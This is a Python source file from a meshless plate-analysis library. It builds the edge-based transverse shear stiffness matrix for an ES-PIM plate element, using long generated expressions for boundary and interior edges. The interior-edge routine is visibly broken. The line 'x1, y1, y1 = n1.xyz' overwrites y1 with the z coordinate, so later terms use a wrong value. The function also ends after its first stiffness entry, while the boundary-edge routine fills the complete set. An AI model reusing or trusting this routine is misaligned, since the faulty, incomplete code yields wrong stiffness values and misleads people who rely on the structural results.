2021-12-01T10:20:36.000Z
|
meshless/espim/plate2d_add_k0s_edge_based.py
|
compmech/meshless
|
13af29e5003836dca521bbdc707dbc1319fa4516
|
[
"BSD-2-Clause"
] | 2
|
2017-12-27T11:07:04.000Z
|
2019-01-22T19:34:33.000Z
|
meshless/espim/plate2d_add_k0s_edge_based.py
|
compmech/meshless
|
13af29e5003836dca521bbdc707dbc1319fa4516
|
[
"BSD-2-Clause"
] | 4
|
2017-05-17T17:53:20.000Z
|
2019-04-03T01:57:58.000Z
|
from __future__ import absolute_import, division
import numpy as np
from ..logger import msg
from ..constants import ZGLOBAL
from ..utils import area_of_polygon, getMid
dof = 5
def boundary_edge(k0, edge, n1, n2, prop_from_node, alpha, maxl_from_area):
# sub-tria1: mid1 -> node1 -> node2
tria1 = edge.trias[0]
mid1 = getMid(tria1)
Ac = edge.Ac
i1 = n1.index
i2 = n2.index
i3 = edge.othernode1.index
# sub-tria 1
xmid1, ymid1, zmid1 = mid1
x1, y1, z1 = n1.xyz
x2, y2, z2 = n2.xyz
a1 = x1 - xmid1
b1 = y1 - ymid1
c1 = x2 - xmid1
d1 = y2 - ymid1
if prop_from_node:
pn1 = n1.prop
pn2 = n2.prop
po1 = edge.othernode1.prop
k13 = (4/9*pn1.scf_k13 + 4/9*pn2.scf_k13 + 1/9*po1.scf_k13)
k23 = (4/9*pn1.scf_k23 + 4/9*pn2.scf_k23 + 1/9*po1.scf_k23)
E = 4/9*pn1.E + 4/9*pn2.E + 1/9*po1.E
h = (4/9*pn1.h + 4/9*pn2.h + 1/9*po1.h)
else:
k13 = tria1.prop.scf_k13
k23 = tria1.prop.scf_k23
E = tria1.prop.E
h = tria1.prop.h
E44 = k13 * E[0, 0]
E45 = 0 # min(k13, k23) * E[0, 1]
E55 = k23 * E[1, 1]
if maxl_from_area:
maxl = Ac**0.5
else:
maxl = max([ipt.le for ipt in edge.ipts])
factor = alpha*maxl**2/h**2
E44 = 1 / (1 + factor) * E44
# E45 = 1 / (1 + factor) * E45
E55 = 1 / (1 + factor) * E55
k0[i1*dof+2, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))
k0[i1*dof+2, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) - a1*c1*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i1*dof+2, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + b1*d1*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i1*dof+2, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))
k0[i1*dof+2, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + a1*c1*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i1*dof+2, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) - b1*d1*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i1*dof+2, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/Ac + 0.166666666666667*(b1 - d1)*(Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/Ac
k0[i1*dof+2, i3*dof+3] += 0.166666666666667*Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i1*dof+2, i3*dof+4] += 0.166666666666667*Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i1*dof+3, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4)
k0[i1*dof+3, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4) - a1*c1*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4)/(4*Ac)
k0[i1*dof+3, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4) + b1*d1*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4)/(4*Ac)
k0[i1*dof+3, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4)
k0[i1*dof+3, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4) + a1*c1*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4)/(4*Ac)
k0[i1*dof+3, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4) - b1*d1*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4)/(4*Ac)
k0[i1*dof+3, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E55*a1*c1/4)/Ac + 0.166666666666667*(b1 - d1)*(Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - E45*a1*c1/4)/Ac
k0[i1*dof+3, i3*dof+3] += 0.166666666666667*Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E45*a1*c1
k0[i1*dof+3, i3*dof+4] += 0.166666666666667*Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E55*a1*c1
k0[i1*dof+4, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4)
k0[i1*dof+4, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4) - a1*c1*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4)/(4*Ac)
k0[i1*dof+4, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4) + b1*d1*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4)/(4*Ac)
k0[i1*dof+4, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4)
k0[i1*dof+4, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4) + a1*c1*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4)/(4*Ac)
k0[i1*dof+4, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4) - b1*d1*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4)/(4*Ac)
k0[i1*dof+4, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + E45*b1*d1/4)/Ac + 0.166666666666667*(b1 - d1)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E44*b1*d1/4)/Ac
k0[i1*dof+4, i3*dof+3] += 0.166666666666667*Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E44*b1*d1
k0[i1*dof+4, i3*dof+4] += 0.166666666666667*Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E45*b1*d1
k0[i2*dof+2, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))
k0[i2*dof+2, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) - a1*c1*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i2*dof+2, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + b1*d1*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i2*dof+2, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))
k0[i2*dof+2, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) + a1*c1*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i2*dof+2, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)) - b1*d1*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/(4*Ac)
k0[i2*dof+2, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/Ac + 0.166666666666667*(b1 - d1)*(Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac))/Ac
k0[i2*dof+2, i3*dof+3] += 0.166666666666667*Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i2*dof+2, i3*dof+4] += 0.166666666666667*Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i2*dof+3, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4)
k0[i2*dof+3, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4) - a1*c1*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4)/(4*Ac)
k0[i2*dof+3, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4) + b1*d1*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4)/(4*Ac)
k0[i2*dof+3, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4)
k0[i2*dof+3, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4) + a1*c1*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4)/(4*Ac)
k0[i2*dof+3, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4) - b1*d1*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4)/(4*Ac)
k0[i2*dof+3, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + E55*a1*c1/4)/Ac + 0.166666666666667*(b1 - d1)*(Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + E45*a1*c1/4)/Ac
k0[i2*dof+3, i3*dof+3] += 0.166666666666667*Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E45*a1*c1
k0[i2*dof+3, i3*dof+4] += 0.166666666666667*Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E55*a1*c1
k0[i2*dof+4, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4)
k0[i2*dof+4, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4) - a1*c1*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4)/(4*Ac)
k0[i2*dof+4, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4) + b1*d1*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4)/(4*Ac)
k0[i2*dof+4, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4)
k0[i2*dof+4, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4) + a1*c1*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4)/(4*Ac)
k0[i2*dof+4, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4) - b1*d1*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4)/(4*Ac)
k0[i2*dof+4, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - E45*b1*d1/4)/Ac + 0.166666666666667*(b1 - d1)*(Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - E44*b1*d1/4)/Ac
k0[i2*dof+4, i3*dof+3] += 0.166666666666667*Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E44*b1*d1
k0[i2*dof+4, i3*dof+4] += 0.166666666666667*Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E45*b1*d1
k0[i3*dof+2, i1*dof+2] += (-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1)) + (d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))
k0[i3*dof+2, i1*dof+3] += (0.166666666666667 + a1*d1/(4*Ac))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1)) - a1*c1*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/(4*Ac)
k0[i3*dof+2, i1*dof+4] += (0.166666666666667 - b1*c1/(4*Ac))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1)) + b1*d1*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/(4*Ac)
k0[i3*dof+2, i2*dof+2] += (a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1)) + (-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac)*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))
k0[i3*dof+2, i2*dof+3] += (0.166666666666667 - b1*c1/(4*Ac))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1)) + a1*c1*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/(4*Ac)
k0[i3*dof+2, i2*dof+4] += (0.166666666666667 + a1*d1/(4*Ac))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1)) - b1*d1*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/(4*Ac)
k0[i3*dof+2, i3*dof+2] += 0.166666666666667*(-a1 + c1)*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + 0.166666666666667*(b1 - d1)*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i3*dof+3] += 0.166666666666667*E44*(0.166666666666667*b1 - 0.166666666666667*d1) + 0.166666666666667*E45*(-0.166666666666667*a1 + 0.166666666666667*c1)
k0[i3*dof+2, i3*dof+4] += 0.166666666666667*E45*(0.166666666666667*b1 - 0.166666666666667*d1) + 0.166666666666667*E55*(-0.166666666666667*a1 + 0.166666666666667*c1)
k0[i3*dof+3, i1*dof+2] += 0.166666666666667*Ac*E44*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E45*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i3*dof+3, i1*dof+3] += 0.166666666666667*Ac*E44*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E45*a1*c1
k0[i3*dof+3, i1*dof+4] += 0.166666666666667*Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E44*b1*d1
k0[i3*dof+3, i2*dof+2] += 0.166666666666667*Ac*E44*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E45*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i3*dof+3, i2*dof+3] += 0.166666666666667*Ac*E44*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E45*a1*c1
k0[i3*dof+3, i2*dof+4] += 0.166666666666667*Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E44*b1*d1
k0[i3*dof+3, i3*dof+2] += 0.0277777777777778*E44*(b1 - d1) + 0.0277777777777778*E45*(-a1 + c1)
k0[i3*dof+3, i3*dof+3] += 0.0277777777777778*Ac*E44
k0[i3*dof+3, i3*dof+4] += 0.0277777777777778*Ac*E45
k0[i3*dof+4, i1*dof+2] += 0.166666666666667*Ac*E45*(d1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E55*(-c1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i3*dof+4, i1*dof+3] += 0.166666666666667*Ac*E45*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E55*a1*c1
k0[i3*dof+4, i1*dof+4] += 0.166666666666667*Ac*E55*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E45*b1*d1
k0[i3*dof+4, i2*dof+2] += 0.166666666666667*Ac*E45*(-b1/(2*Ac) + 0.166666666666667*(b1 - d1)/Ac) + 0.166666666666667*Ac*E55*(a1/(2*Ac) + 0.166666666666667*(-a1 + c1)/Ac)
k0[i3*dof+4, i2*dof+3] += 0.166666666666667*Ac*E45*(0.166666666666667 - b1*c1/(4*Ac)) + 0.0416666666666667*E55*a1*c1
k0[i3*dof+4, i2*dof+4] += 0.166666666666667*Ac*E55*(0.166666666666667 + a1*d1/(4*Ac)) - 0.0416666666666667*E45*b1*d1
k0[i3*dof+4, i3*dof+2] += 0.0277777777777778*E45*(b1 - d1) + 0.0277777777777778*E55*(-a1 + c1)
k0[i3*dof+4, i3*dof+3] += 0.0277777777777778*Ac*E45
k0[i3*dof+4, i3*dof+4] += 0.0277777777777778*Ac*E55
def interior_edge(k0, edge, n1, n2, prop_from_node, alpha, maxl_from_area):
# sub-tria1: mid1 -> node1 -> node2
# sub-tria2: node1 -> mid2 -> node2
tria1 = edge.trias[0]
tria2 = edge.trias[1]
mid1 = getMid(tria1)
mid2 = getMid(tria2)
Ac = edge.Ac
i1 = n1.index
i2 = n2.index
i3 = edge.othernode1.index
i4 = edge.othernode2.index
# sub-tria 1
tmp = np.array([mid1, n1.xyz, n2.xyz])
Ac1 = area_of_polygon(tmp[:, 0], tmp[:, 1])
xmid1, ymid1, z1 = mid1
x1, y1, y1 = n1.xyz
x2, y2, z2 = n2.xyz
a1 = x1 - xmid1
b1 = y1 - ymid1
c1 = x2 - xmid1
d1 = y2 - ymid1
# sub-tria 2
tmp = np.array([n1.xyz, mid2, n2.xyz])
Ac2 = area_of_polygon(tmp[:, 0], tmp[:, 1])
x1, y1, z1 = n1.xyz
xmid2, ymid2, zmid2 = mid2
x2, y2, z2 = n2.xyz
a2 = xmid2 - x1
b2 = ymid2 - y1
c2 = x2 - x1
d2 = y2 - y1
if prop_from_node:
pn1 = n1.prop
pn2 = n2.prop
po1 = edge.othernode1.prop
po2 = edge.othernode2.prop
k13 = (5/12*pn1.scf_k13 + 5/12*pn2.scf_k13 + 1/12*po1.scf_k13 + 1/12*po2.scf_k13)
k23 = (5/12*pn1.scf_k23 + 5/12*pn2.scf_k23 + 1/12*po1.scf_k23 + 1/12*po2.scf_k23)
E = 5/12*pn1.E + 5/12*pn2.E + 1/12*po1.E + 1/12*po2.E
h = (5/12*pn1.h + 5/12*pn2.h + 1/12*po1.h + 1/12*po2.h)
else:
prop1 = tria1.prop
prop2 = tria2.prop
k13 = (Ac1*prop1.scf_k13 + Ac2*prop2.scf_k13)/Ac
k23 = (Ac1*prop1.scf_k23 + Ac2*prop2.scf_k23)/Ac
E = (Ac1*prop1.E + Ac2*prop2.E)/Ac
h = (Ac1*prop1.h + Ac2*prop2.h)/Ac
E44 = k13 * E[0, 0]
E45 = min(k13, k23) * E[0, 1]
E55 = k23 * E[1, 1]
if maxl_from_area:
maxl = Ac**0.5
else:
maxl = max(max([ipt.le for ipt in edge.ipts]), np.sum((edge.n1.xyz - edge.n2.xyz)**2)**0.5)
E44 = h**2 / (h**2 + alpha*maxl**2) * E44
E45 = h**2 / (h**2 + alpha*maxl**2) * E45
E55 = h**2 / (h**2 + alpha*maxl**2) * E55
k0[i1*dof+2, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
